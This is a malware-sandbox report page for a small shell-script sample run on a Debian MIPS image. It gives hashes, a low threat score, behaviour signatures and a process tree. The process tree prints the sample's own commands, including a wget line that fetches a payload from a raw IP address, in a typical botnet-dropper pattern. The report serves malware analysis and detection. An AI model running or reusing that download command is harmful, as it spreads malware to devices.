ae6528be474ea7e0a07f30100b64b8b0146b673bd0bafbd200490f0b2155e5fc | Triage™

Analysis

max time kernel
133s
max time network
150s
platform
debian-9_mips
resource
debian9-mipsbe-20250619-en
resource tags

arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
04/12/2025, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ohshit.sh
Size 3KB
Sample251204-hatb6abz7b
SHA256 ae6528be474ea7e0a07f30100b64b8b0146b673bd0bafbd200490f0b2155e5fc
MD5 7246ce795caea2cad9dcc42549721b2c
SHA1 e7f8d5fa19cf1f0ceb18f77bbb479b4e2102dbd7
SHA512 4ea28aaf001425a9aefefd8b0b7d4b4a71acf5f60618ef3d56a149db539d47f44c40ed2d56c7814de5dff9ffa66cb95b92dc48d5874d3c942d76b3892db9be4a
MD5 SHA1 SHA512

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	cp

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/busybox	cp

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
PID:713
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:725

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

busybox

Path /tmp/busybox
Size 857KB
SHA256 3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
MD5 a39fe8036e559ce804e26518061e59ff
SHA1 8df27f6e8a48b762d945ea2f2b87390c80acd4de
SHA512 e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d
SSDEEP 24576:pr1OolvjQkUQbkX5gLLatgVMmFSO4XS9PBdi:pZOolbQ4kXILatgfKS9PBE
MD5 SHA1 SHA512 SSDEEP

Submit Download